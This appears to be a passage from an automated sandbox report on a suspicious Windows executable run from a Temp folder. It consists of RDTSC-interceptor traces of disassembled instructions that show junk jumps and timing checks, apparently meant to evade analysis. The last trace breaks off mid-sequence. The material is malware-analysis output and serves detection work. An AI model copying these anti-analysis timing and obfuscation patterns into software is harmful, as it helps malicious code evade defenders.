Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51505DD second address: 515063B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ax, BAA3h 0x00000011 mov ah, 5Dh 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007FC9F53DFD62h 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FC9F53DFD60h 0x00000020 mov ebp, esp 0x00000022 jmp 00007FC9F53DFD60h 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ax, bx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 515063B second address: 5150641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5150641 second address: 5150645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5150645 second address: 5150714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ecx, ebx 0x0000000f pushfd 0x00000010 jmp 00007FC9F53C6A7Bh 0x00000015 xor ch, FFFFFFEEh 0x00000018 jmp 00007FC9F53C6A89h 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 jmp 00007FC9F53C6A7Eh 0x00000025 mov eax, dword ptr [76FA65FCh] 0x0000002a jmp 00007FC9F53C6A80h 0x0000002f test eax, eax 0x00000031 jmp 00007FC9F53C6A80h 0x00000036 je 00007FCA67199D16h 0x0000003c jmp 00007FC9F53C6A80h 0x00000041 mov ecx, eax 0x00000043 jmp 00007FC9F53C6A80h 0x00000048 xor eax, dword ptr [ebp+08h] 0x0000004b jmp 00007FC9F53C6A81h 0x00000050 and ecx, 1Fh 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FC9F53C6A7Dh 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5150714 second address: 515075A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC9F53DFD5Ch 0x00000012 or cx, 8EE8h 0x00000017 jmp 00007FC9F53DFD5Bh 0x0000001c popfd 0x0000001d push ecx 0x0000001e mov dx, D78Ah 0x00000022 pop edi 0x00000023 popad 0x00000024 leave 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov si, AE65h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 515075A second address: 5150761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 89h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5150761 second address: 515079D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 retn 0004h 0x0000000a nop 0x0000000b mov esi, eax 0x0000000d lea eax, dword ptr [ebp-08h] 0x00000010 xor esi, dword ptr [00B02014h] 0x00000016 push eax 0x00000017 push eax 0x00000018 push eax 0x00000019 lea eax, dword ptr [ebp-10h] 0x0000001c push eax 0x0000001d call 00007FC9F9A704F1h 0x00000022 push FFFFFFFEh 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FC9F53DFD5Bh 0x0000002d sbb ecx, 0E36138Eh 0x00000033 jmp 00007FC9F53DFD69h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100040 second address: 5100046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100046 second address: 510009A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FC9F53DFD5Bh 0x00000017 and ax, 930Eh 0x0000001c jmp 00007FC9F53DFD69h 0x00000021 popfd 0x00000022 call 00007FC9F53DFD60h 0x00000027 pop esi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 510009A second address: 51000A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51000A0 second address: 51000A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51000A4 second address: 51000BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51000BB second address: 51000F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC9F53DFD5Fh 0x0000000a sub ah, 0000007Eh 0x0000000d jmp 00007FC9F53DFD69h 0x00000012 popfd 0x00000013 popad 0x00000014 and esp, FFFFFFF8h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51000F6 second address: 5100109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100109 second address: 5100129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9F53DFD63h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100129 second address: 5100141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A84h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100141 second address: 5100145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100145 second address: 51001AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b jmp 00007FC9F53C6A87h 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 mov edx, esi 0x00000014 pushad 0x00000015 push esi 0x00000016 pop edi 0x00000017 mov ecx, 72773529h 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007FC9F53C6A7Fh 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 mov edx, esi 0x00000028 mov edx, eax 0x0000002a popad 0x0000002b mov ebx, dword ptr [ebp+10h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FC9F53C6A89h 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51001AA second address: 51001B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51001B0 second address: 51001B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51001B4 second address: 51001B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51001B8 second address: 5100216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC9F53C6A84h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov esi, 34592DCDh 0x00000017 jmp 00007FC9F53C6A7Ah 0x0000001c popad 0x0000001d mov esi, dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FC9F53C6A7Dh 0x00000029 and eax, 0DE42256h 0x0000002f jmp 00007FC9F53C6A81h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100216 second address: 510022D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 510022D second address: 5100231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100231 second address: 5100235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100235 second address: 510023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 510023B second address: 510024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD5Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 510024A second address: 5100265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9F53C6A7Eh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100265 second address: 5100269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100269 second address: 510026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 510026F second address: 5100374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC9F53DFD5Ch 0x00000012 xor cx, 3868h 0x00000017 jmp 00007FC9F53DFD5Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FC9F53DFD68h 0x00000023 add al, FFFFFFC8h 0x00000026 jmp 00007FC9F53DFD5Bh 0x0000002b popfd 0x0000002c popad 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FC9F53DFD66h 0x00000034 and cx, 8D28h 0x00000039 jmp 00007FC9F53DFD5Bh 0x0000003e popfd 0x0000003f pushfd 0x00000040 jmp 00007FC9F53DFD68h 0x00000045 sbb esi, 3787BF88h 0x0000004b jmp 00007FC9F53DFD5Bh 0x00000050 popfd 0x00000051 popad 0x00000052 popad 0x00000053 test esi, esi 0x00000055 jmp 00007FC9F53DFD66h 0x0000005a je 00007FCA671FE032h 0x00000060 pushad 0x00000061 call 00007FC9F53DFD5Eh 0x00000066 movzx esi, di 0x00000069 pop edx 0x0000006a jmp 00007FC9F53DFD5Ch 0x0000006f popad 0x00000070 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FC9F53DFD5Ah 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100374 second address: 5100378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100378 second address: 510037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 510037E second address: 5100452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FCA671E4D11h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC9F53C6A7Eh 0x00000016 adc cx, D9D8h 0x0000001b jmp 00007FC9F53C6A7Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FC9F53C6A88h 0x00000027 jmp 00007FC9F53C6A85h 0x0000002c popfd 0x0000002d popad 0x0000002e mov edx, dword ptr [esi+44h] 0x00000031 jmp 00007FC9F53C6A7Eh 0x00000036 or edx, dword ptr [ebp+0Ch] 0x00000039 jmp 00007FC9F53C6A80h 0x0000003e test edx, 61000000h 0x00000044 pushad 0x00000045 pushad 0x00000046 mov ecx, 5FB00FE3h 0x0000004b call 00007FC9F53C6A88h 0x00000050 pop esi 0x00000051 popad 0x00000052 movsx edi, cx 0x00000055 popad 0x00000056 jne 00007FCA671E4CC8h 0x0000005c jmp 00007FC9F53C6A7Ah 0x00000061 test byte ptr [esi+48h], 00000001h 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 mov cx, 400Fh 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F07FF second address: 50F08D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 mov ah, 56h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d pushad 0x0000000e mov bh, 47h 0x00000010 push esi 0x00000011 call 00007FC9F53DFD61h 0x00000016 pop esi 0x00000017 pop edi 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a jmp 00007FC9F53DFD5Ch 0x0000001f push eax 0x00000020 pushad 0x00000021 mov edx, esi 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FC9F53DFD64h 0x0000002c or si, AFE8h 0x00000031 jmp 00007FC9F53DFD5Bh 0x00000036 popfd 0x00000037 jmp 00007FC9F53DFD68h 0x0000003c popad 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f call 00007FC9F53DFD5Eh 0x00000044 pushfd 0x00000045 jmp 00007FC9F53DFD62h 0x0000004a and eax, 35C284A8h 0x00000050 jmp 00007FC9F53DFD5Bh 0x00000055 popfd 0x00000056 pop ecx 0x00000057 mov edi, 5A3FA8ECh 0x0000005c popad 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 movsx edx, cx 0x00000064 call 00007FC9F53DFD68h 0x00000069 pop esi 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F09F0 second address: 50F0A83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test byte ptr [76FA6968h], 00000002h 0x00000011 jmp 00007FC9F53C6A80h 0x00000016 jne 00007FCA671EC40Eh 0x0000001c jmp 00007FC9F53C6A80h 0x00000021 mov edx, dword ptr [ebp+0Ch] 0x00000024 jmp 00007FC9F53C6A80h 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov edx, 464E9EE0h 0x00000032 pushfd 0x00000033 jmp 00007FC9F53C6A89h 0x00000038 sub ecx, 2253DFE6h 0x0000003e jmp 00007FC9F53C6A81h 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0A83 second address: 50F0AA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9F53DFD5Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0AA7 second address: 50F0AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FC9F53C6A86h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC9F53C6A87h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0AE7 second address: 50F0AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0AED second address: 50F0B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 mov si, di 0x00000013 popad 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC9F53C6A88h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B22 second address: 50F0B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B28 second address: 50F0B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+14h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B44 second address: 50F0B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B48 second address: 50F0B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B4E second address: 50F0B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD61h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B63 second address: 50F0B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0B67 second address: 50F0BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FC9F53DFD66h 0x00000014 sub esi, 6AA77CF8h 0x0000001a jmp 00007FC9F53DFD5Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0BA1 second address: 50F0BB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A80h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100CFC second address: 5100D19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100D19 second address: 5100D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100D1F second address: 5100D5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ebx, 79312966h 0x00000014 call 00007FC9F53DFD67h 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100A52 second address: 5100A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100A56 second address: 5100A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100A70 second address: 5100ABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, bx 0x00000010 pushfd 0x00000011 jmp 00007FC9F53C6A87h 0x00000016 add ecx, 6274CE7Eh 0x0000001c jmp 00007FC9F53C6A89h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5100ABF second address: 5100AE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9F53DFD5Dh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5180616 second address: 518061A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 518061A second address: 5180620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5180620 second address: 518064B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9F53C6A85h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 518064B second address: 5180668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5180668 second address: 518066C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 518066C second address: 518067F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170AA9 second address: 5170AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170AC5 second address: 5170AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110008 second address: 51100B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx edx, ax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC9F53C6A88h 0x00000013 xor esi, 2A4D7248h 0x00000019 jmp 00007FC9F53C6A7Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FC9F53C6A88h 0x00000025 sub ax, B4A8h 0x0000002a jmp 00007FC9F53C6A7Bh 0x0000002f popfd 0x00000030 popad 0x00000031 pushfd 0x00000032 jmp 00007FC9F53C6A88h 0x00000037 or eax, 3762A708h 0x0000003d jmp 00007FC9F53C6A7Bh 0x00000042 popfd 0x00000043 popad 0x00000044 push eax 0x00000045 jmp 00007FC9F53C6A89h 0x0000004a xchg eax, ebp 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e pushad 